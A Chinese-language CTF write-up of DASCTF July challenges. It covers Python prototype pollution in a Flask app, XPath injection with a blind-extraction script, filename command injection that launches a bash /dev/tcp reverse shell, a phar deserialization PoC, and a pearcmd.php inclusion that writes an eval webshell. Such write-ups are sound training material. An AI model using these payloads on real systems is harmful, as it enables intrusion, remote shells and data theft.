本文最后更新于:2023年8月25日 下午
[TOC]
[DASCTF7月赛] misc Coffee desu!
hint1: Strange Protocol
经过搜索,发现这个是一种恶搞协议:
自定义了一些请求方式
结合首页英文:
1 You should add the milktea before getting the coffee!
我们需要使用BREW
向服务器添加milktea
返回:
1 The resource identified by the request is only capable of generating response entities which have content characteristics not acceptable according to the accept headers sent in the request.
这个协议定义了:Accept-Additions
头,于是我们添加上:milktea
添加之后我们使用GET
将其取出:
web ezFlask 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import uuidfrom flask import Flask, request, sessionfrom secret import black_listimport json app = Flask(__name__) app.secret_key = str (uuid.uuid4())def check (data ): for i in black_list: if i in data: return False return True def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)class user (): def __init__ (self ): self.username = "" self.password = "" pass def check (self, data ): if self.username == data['username' ] and self.password == data['password' ]: return True return False Users = []@app.route('/register' ,methods=['POST' ] ) def register (): if request.data: try : if not check(request.data): return "Register Failed" data = json.loads(request.data) if "username" not in data or "password" not in data: return "Register Failed" User = user() merge(data, User) Users.append(User) except Exception: return "Register Failed" return "Register Success" else : return "Register Failed" @app.route('/login' ,methods=['POST' ] ) def login (): if request.data: try : data = json.loads(request.data) if "username" not in data or "password" not in data: return "Login Failed" for user in Users: if user.check(data): session["username" ] = data["username" ] return "Login Success" except Exception: return "Login Failed" return "Login Failed" @app.route('/' ,methods=['GET' ] ) def index (): return open (__file__, "r" ).read()if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5010 )
这是一个flask框架的题,根路由是一个读文件函数,读取__file__
里面的内容(源码),显示到首页
有一个check
函数:遍历一下data
中的值,如果在黑名单中就返回false,否则返回true
定义了一个user
类,成员变量username
、password
初值为空,类中定义了一个check
函数,如果与输入的data
中的相等才返回true
写了一个merge
函数,这个函数是重点:
这个函数的作用是将两个字典对象 src
和 dst
进行合并。它逐个遍历 src
中的键值对,并根据一定的规则将其合并到 dst
中。
具体来说,函数执行以下操作:
对于 src
中的每个键值对 (k, v
):
如果 dst
是一个可索引的对象(如字典),并且 dst
中存在键 k
,并且值类型 v
是字典类型,则使用递归调用 merge(v, dst[k])
将 v
和 dst[k]
进行合并。
否则,将 v
赋值给 dst
的键 k
。
如果 dst
不是可索引的对象,而是一个具有属性的对象,则对于 src
中的每个键值对 (k, v
):
如果 dst
拥有属性 k
,并且值类型 v
是字典类型,则使用递归调用 merge(v, getattr(dst, k))
将 v
和 dst
的属性 k
进行合并。
否则,将 v
设置为 dst
的属性 k
。
简而言之,该函数通过递归地合并两个字典对象的键值对,将 src
中的内容合并到 dst
中,确保最终的 dst
包含 src
的所有键值对。
需要注意的是,该函数对于嵌套的字典结构特别有用,因为它可以处理深层嵌套的情况。但请注意在使用时确保 src
和 dst
的数据结构是可变的(mutable),否则可能会导致意外的结果。
register
路由:json类型数据需要通过check()
函数检查,如果其中没有username
、password
则失败,否则创建一个用户,将data
字典中的数据,添加到User
字典中
这里主要需要关注这些代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) @app.route('/' ,methods=['GET' ] ) def index (): return open (__file__, "r" ).read()
这个题目乍一眼看好像无从下手,没有漏洞点,但是这里会产生类似覆盖的效果
经过搜索,知道了这是: Python原型链污染
文章里详细的讲述了,可以污染类中的属性值:
这里我们截取到一段利用的payload:
1 2 3 4 5 6 7 8 9 10 11 { "__init__" : { "__globals__" : { "app" : { "config" : { "SECRET_KEY" : "Polluted~" } } } } }
这一段代码可以通过merge()
自定义函数,污染flask
中的SECRET_KEY
我们重新回到题目,分析一下我们实际可以污染根路由的文件的__file__
属性,如果控制了这里就可以实现任意文件读取了
我们仿照上面的payload,构造出如下payload:
1 2 3 4 5 6 7 8 9 { "__init__" : { "__globals__" : { "__file__" : "app.py" } } , "username" : "admin" , "password" : "123" }
这样就可以将__file__
污染为app.py
了,
但是经过尝试,发现失败了,原因是check()
函数把__init__
过滤了,没法用了
但是我们可以尝试编码绕过,json中可以使用unicode
编码,我们使用cyberchef
编码一下:
1 2 3 __init__\u005F \u005F \u0069 \u006E \u0069 \u0074 \u005F \u005F
这样就可以绕过了,然后非预期就是读一下/proc/1/environ
得到flag:
预期解是通过任意文件读取,伪造flask的pin码,然后命令执行查询到flag
MyPicDisk 首先通过万能密码登录:
但是这里需要在用户名处输入:
下载:/y0u_cant_find_1t.zip
得到:index.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 <?php session_start ();error_reporting (0 );class FILE { public $filename ; public $lasttime ; public $size ; public function __construct ($filename ) { if (preg_match ("/\//i" , $filename )){ throw new Error ("hacker!" ); } $num = substr_count ($filename , "." ); if ($num != 1 ){ throw new Error ("hacker!" ); } if (!is_file ($filename )){ throw new Error ("???" ); } $this ->filename = $filename ; $this ->size = filesize ($filename ); $this ->lasttime = filemtime ($filename ); } public function remove ( ) { unlink ($this ->filename); } public function show ( ) { echo "Filename: " . $this ->filename. " Last Modified Time: " .$this ->lasttime. " Filesize: " .$this ->size."<br>" ; } public function __destruct ( ) { system ("ls -all " .$this ->filename); } }?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8" > <title>MyPicDisk</title> </head> <body><?php if (!isset ($_SESSION ['user' ])){ echo ' <form method="POST"> username:<input type="text" name="username"></p> password:<input type="password" name="password"></p> <input type="submit" value="登录" name="submit"></p> </form> ' ; $xml = simplexml_load_file ('/tmp/secret.xml' ); if ($_POST ['submit' ]){ $username =$_POST ['username' ]; $password =md5 ($_POST ['password' ]); $x_query ="/accounts/user[username='{$username} ' and password='{$password} ']" ; $result = $xml ->xpath ($x_query ); if (count ($result )==0 ){ echo '登录失败' ; }else { $_SESSION ['user' ] = $username ; echo "<script>alert('登录成功!');location.href='/index.php';</script>" ; } } }else { if ($_SESSION ['user' ] !== 'admin' ) { echo "<script>alert('you are not admin!!!!!');</script>" ; unset ($_SESSION ['user' ]); echo "<script>location.href='/index.php';</script>" ; } echo "<!-- /y0u_cant_find_1t.zip -->" ; if (!$_GET ['file' ]) { foreach (scandir ("." ) as $filename ) { if (preg_match ("/.(jpg|jpeg|gif|png|bmp)$/i" , $filename )) { echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>" ; } } echo ' <form action="index.php" method="post" enctype="multipart/form-data"> 选择图片:<input type="file" name="file" id=""> <input type="submit" value="上传"></form> ' ; if ($_FILES ['file' ]) { $filename = $_FILES ['file' ]['name' ]; if (!preg_match ("/.(jpg|jpeg|gif|png|bmp)$/i" , $filename )) { die ("hacker!" ); } if (move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $filename )) { echo "<script>alert('图片上传成功!');location.href='/index.php';</script>" ; } else { die ('failed' ); } } } else { $filename = $_GET ['file' ]; if ($_GET ['todo' ] === "md5" ){ echo md5_file ($filename ); } else { $file = new FILE ($filename ); if ($_GET ['todo' ] !== "remove" && $_GET ['todo' ] !== "show" ) { echo "<img src='../" . $filename . "'><br>" ; echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>" ; echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>" ; } else if ($_GET ['todo' ] === "remove" ) { $file ->remove (); echo "<script>alert('图片已删除!');location.href='/index.php';</script>" ; } else if ($_GET ['todo' ] === "show" ) { $file ->show (); } } } }?> </body> </html>
这里很明显需要知道:admin
的密码才能够完成后续操作,
我们注意到这里:
1 2 3 4 5 6 7 8 9 10 11 12 $xml = simplexml_load_file ('/tmp/secret.xml' ); if ($_POST ['submit' ]){ $username =$_POST ['username' ]; $password =md5 ($_POST ['password' ]); $x_query ="/accounts/user[username='{$username} ' and password='{$password} ']" ; $result = $xml ->xpath ($x_query ); if (count ($result )==0 ){ echo '登录失败' ; }else { $_SESSION ['user' ] = $username ; echo "<script>alert('登录成功!');location.href='/index.php';</script>" ; }
这里对用户名处没有任何过滤就进行xpath
查询,所以会导致xpath注入
xpath注入学习文章:https://xz.aliyun.com/t/7791?page=1#toc-0
由于这里密码被md5加密了,所以我们可以猜测密码为32位:
xpath查询语句如下:string-length
代表查询字符串的长度
1 ' or string -length ((//user[position ()=1 ]/password[position ()=1 ]))=32 or '
查询一下确实为32位
接下来写脚本查询password
的值即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import stringimport timeimport requests s = string.printable url = "http://d27bfc8b-3545-410a-9e7a-7446c02e9290.node4.buuoj.cn:81/index.php" flag = "" for i in range (1 , 100 ): for j in s: time.sleep(0.1 ) payload = "' or substring((//user[position()=1]/password[position()=1]),{},1)='{}' or '" .format (i,j) data = { "username" : payload, "password" : "123" , "submit" : "%E7%99%BB%E5%BD%95" } res = requests.post(url, data=data) if "成功" in res.text: flag += j print (flag) break
使用:https://www.somd5.com/解密:
15035371139
接下来登录就可以文件上传了:
文件上传为白名单waf:
1 2 3 if (!preg_match ("/.(jpg|jpeg|gif|png|bmp)$/i" , $filename )) { die ("hacker!" ); }
FILE
类中会对文件名进行检测,不能包含/
和多个小数点
析构方法中命令执行:
1 2 3 public function __destruct ( ) { system ("ls -all " .$this ->filename); }
我们可以利用它来反弹shell,首先上传一个文件名为:;a.jpg
,内容为:
1 bash -i>& /dev/tcp/ip/9996 0>&1
然后再上传一个文件:;bash *a.jpg
点击这个文件就可以反弹shell了
也可以phar反序列化,没复现成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class FILE { public $filename ; public $lasttime ; public $size ; public function __construct ($filename ) { $this ->filename = $filename ; } }$a = new FILE ("/;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd" );$phartest =new phar ('phartest.phar' ,0 );$phartest ->startBuffering ();$phartest ->setMetadata ($a );$phartest ->setStub ("<?php __HALT_COMPILER();?>" );$phartest ->addFromString ("test.txt" ,"test" );$phartest ->stopBuffering ();
ez_cms 熊海cms
经过查询得知,熊海cms首页存在文件包含漏洞:
1 2 3 4 5 6 7 <?php error_reporting (0 ); $file =addslashes ($_GET ['r' ]); $action =$file =='' ?'index' :$file ; include ('files/' .$action .'.php' ); ?>
于是我们只要包含一个有用的文件即可,但这个有用的文件是什么呢?
这个文件是pearcmd.php
,通过包含这个文件可以实现向服务器上写入shell进行rce的操作
可以参考:
我们直接构造:(注意顺序)
1 /?+config-create+/&r=../../../../../../../../../../../../usr/share/php/pearcmd&/<?= phpinfo ();eval ($_POST [1 ]);?> +/tmp/leekos.php
这里需要通过相对路径来找到pearcmd.php
(注意最后不需要加上.php
)
成功写入,然后蚁剑包含拿flag